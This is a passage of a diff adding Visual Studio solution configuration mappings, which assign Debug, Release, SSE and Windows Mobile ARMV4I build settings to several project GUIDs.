+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Static_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_RTL_dll|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Static_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_RTL_dll|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Static_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_RTL_dll|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Static_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_RTL_dll|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Static_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_RTL_dll|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE2|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE2|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Static_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
